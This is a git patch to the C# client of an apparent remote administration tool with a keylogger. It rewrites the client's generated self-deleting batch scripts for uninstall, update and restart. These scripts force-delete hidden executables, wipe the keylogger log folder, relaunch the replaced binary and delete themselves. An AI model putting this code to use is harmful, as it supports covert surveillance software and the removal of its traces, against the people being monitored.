From 6863e6d1bd8badff77f6f7df1ae699ffa7b33526 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 26 Jun 2016 21:27:27 +0200 Subject: [PATCH] Improved update/uninstall/restart batch files --- Client/Core/Helper/FileHelper.cs | 68 ++++++------------- Client/Core/Installation/ClientUninstaller.cs | 22 ------ 2 files changed, 19 insertions(+), 71 deletions(-) diff --git a/Client/Core/Helper/FileHelper.cs b/Client/Core/Helper/FileHelper.cs index 4034de66..c383d7df 100644 --- a/Client/Core/Helper/FileHelper.cs +++ b/Client/Core/Helper/FileHelper.cs @@ -1,7 +1,6 @@ using System; using System.IO; using System.Text; -using xClient.Config; using xClient.Core.Cryptography; using xClient.Core.Data; using xClient.Core.Utilities; @@ -54,18 +53,13 @@ namespace xClient.Core.Helper { string batchFile = GetTempFilePath(".bat"); - string uninstallBatch = (isFileHidden) - ? "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - : "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - ; + string uninstallBatch = + "@echo off" + "\n" + + "echo DONT CLOSE THIS WINDOW!" + "\n" + + "ping -n 10 localhost > nul" + "\n" + + "del /a /q /f " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "rmdir /q /s " + "\"" + Keylogger.LogDirectory + "\"" + "\n" + + "del /a /q /f " + "\"" + batchFile + "\""; File.WriteAllText(batchFile, uninstallBatch); return batchFile; @@ -82,24 +76,16 @@ namespace xClient.Core.Helper { string batchFile = GetTempFilePath(".bat"); - string uninstallBatch = (isFileHidden) - ? "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del /A:H " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - : "@echo off" + "\n" + - "echo DONT CLOSE THIS WINDOW!" + "\n" + - "ping -n 10 localhost > nul" + "\n" + - "del " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "move " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\"" - ; + string updateBatch = + "@echo off" + "\n" + + "echo DONT CLOSE THIS WINDOW!" + "\n" + + "ping -n 10 localhost > nul" + "\n" + + "del /a /q /f " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, uninstallBatch); + File.WriteAllText(batchFile, updateBatch); return batchFile; } catch (Exception) @@ -114,14 +100,14 @@ namespace xClient.Core.Helper { string batchFile = GetTempFilePath(".bat"); - string uninstallBatch = + string restartBatch = "@echo off" + "\n" + "echo DONT CLOSE THIS WINDOW!" + "\n" + "ping -n 10 localhost > nul" + "\n" + "start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" + - "del " + "\"" + batchFile + "\""; + "del /a /q /f " + "\"" + batchFile + "\""; - File.WriteAllText(batchFile, uninstallBatch); + File.WriteAllText(batchFile, restartBatch); return batchFile; } @@ -131,22 +117,6 @@ namespace xClient.Core.Helper } } - public static bool ClearReadOnly(string filePath) - { - try - { - FileInfo fi = new FileInfo(filePath); - if (!fi.Exists) return false; - if (fi.IsReadOnly) - fi.IsReadOnly = false; - return true; - } - catch - { - return false; - } - } - /// /// Appends text to a log file. /// diff --git a/Client/Core/Installation/ClientUninstaller.cs b/Client/Core/Installation/ClientUninstaller.cs index e1b47c3d..f5a89cfa 100644 --- a/Client/Core/Installation/ClientUninstaller.cs +++ b/Client/Core/Installation/ClientUninstaller.cs @@ -1,11 +1,8 @@ using System; using System.Diagnostics; -using System.IO; using xClient.Config; -using xClient.Core.Data; using xClient.Core.Helper; using xClient.Core.Networking; -using xClient.Core.Utilities; namespace xClient.Core.Installation { @@ -15,14 +12,9 @@ namespace xClient.Core.Installation { try { - RemoveExistingLogs(); - if (Settings.STARTUP) Startup.RemoveFromStartup(); - if (!FileHelper.ClearReadOnly(ClientData.CurrentPath)) - throw new Exception("Could not clear read-only attribute"); - string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE); if (string.IsNullOrEmpty(batchFile)) @@ -43,19 +35,5 @@ namespace xClient.Core.Installation new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client); } } - - public static void RemoveExistingLogs() - { - if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger - { - try - { - Directory.Delete(Keylogger.LogDirectory, true); - } - catch - { - } - } - } } }